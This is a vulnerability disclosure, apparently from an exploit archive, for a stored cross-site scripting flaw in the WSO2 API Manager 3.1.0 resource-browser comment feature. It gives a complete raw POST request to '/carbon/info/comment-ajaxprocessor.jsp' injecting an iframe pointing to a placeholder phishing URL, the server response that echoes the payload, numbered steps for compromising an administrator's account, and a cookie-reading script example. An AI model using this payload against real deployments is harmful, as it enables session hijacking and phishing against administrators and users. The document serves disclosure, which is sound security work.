WSO2 3.1.0 - Persistent Cross-Site Scripting

# Title: WSO2 3.1.0 - Persistent Cross-Site Scripting
# Date: 2020-04-13
# Author: raki ben hamouda
# Vendor: https://apim.docs.wso2.com
# Softwrare link: https://apim.docs.wso2.com/en/latest/
# CVE: N/A
# Advisory: https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0700

Technical Details & Description:
================================
A remote Stored Cross Site Scripting has been discovered in WSO2 API
Manager Ressource Browser component).
The security vulnerability allows a remote attacker With access to the
component "Ressource Browser"
to inject a malicious code in Add Comment Feature.

The vulnerability is triggered after sending a POST request to
`/carbon/info/comment-ajaxprocessor.jsp` with Parameter
"comment=targeted&path=%2F".
Remote attackers has the ablility to spread a malware,to Hijack a session
(a session with Higher privileges), or to initiate phishing attacks.

The security risk of the Stored XSS web vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 5.4
Exploitation of the Stored XSS web vulnerability requires a low privilege
web-application user account and medium or high user interaction.
Successful exploitation of the vulnerability results in Compromising the
server .


Request Method:
[+] POST

Module:
[+] /carbon/info/comment-ajaxprocessor.jsp

Parameters:
[+] comment=admincomment
[+] path=%2F
=======================================

POST /carbon/info/comment-ajaxprocessor.jsp HTTP/1.1
Host: 192.168.149.1:9443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://192.168.149.1:9443/carbon/resources/resource.jsp?region=region3&item=resource_browser_menu&path=/
X-Requested-With: XMLHttpRequest, XMLHttpRequest
X-Prototype-Version: 1.5.0
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token: L4OB-I2K8-W66N-K44H-JNSM-6L0Z-BB17-BGWH
Content-Length: 64
Cookie: region3_registry_menu=visible; region3_metadata_menu=none;
wso2.carbon.rememberme=admin-0db64b12-e661-4bc8-929d-6ab2cc7b192e;
JSESSIONID=4B3AB3AA8895F2897685FA98C327D521;
requestedURI=../../carbon/admin/index.jsp; region1_configure_menu=none;
region4_monitor_menu=none; region5_tools_menu=none;
current-breadcrumb=registry_menu%252Cresource_browser_menu%2523
Connection: close

comment=%3Ciframe%20href%3Dhttp%3A%2F%2Fphishing_url%3E&path=%2F





==============================



HTTP/1.1 200

X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Tue, 31 Dec 2019 10:50:00 GMT
Connection: close
Server: WSO2 Carbon Server
Content-Length: 3144


//the body of response includes attacker malicious script


<a class="closeButton icon-link registryWriteOperation"
onclick="delComment('/','/;comments:33')" id="closeC0" title="Delete"
style="background-image:
url(../admin/images/delete.gif);position:relative;float:right">&nbsp;</a>


 <iframe href=http://phishing_url>
 <br/>
posted on 0m ago (on Tue Dec 31 11:50:00 GMT+01:00 2019) by attacker



Proof of Concept (PoC):
=======================

//Let's suppose we're Attacking an admin with higher privileges



1-Attacker opens his account

2-add arbitrary comment


3-intercepts the request


4-add malicious script to the comment


5-admin access his account,he wants to add a comment,the malicious script
got executed


===>Admin account compromised



===============================================================================



Example malicious script :


<script>
  alert(document.cookie);
</script>



===============================================================================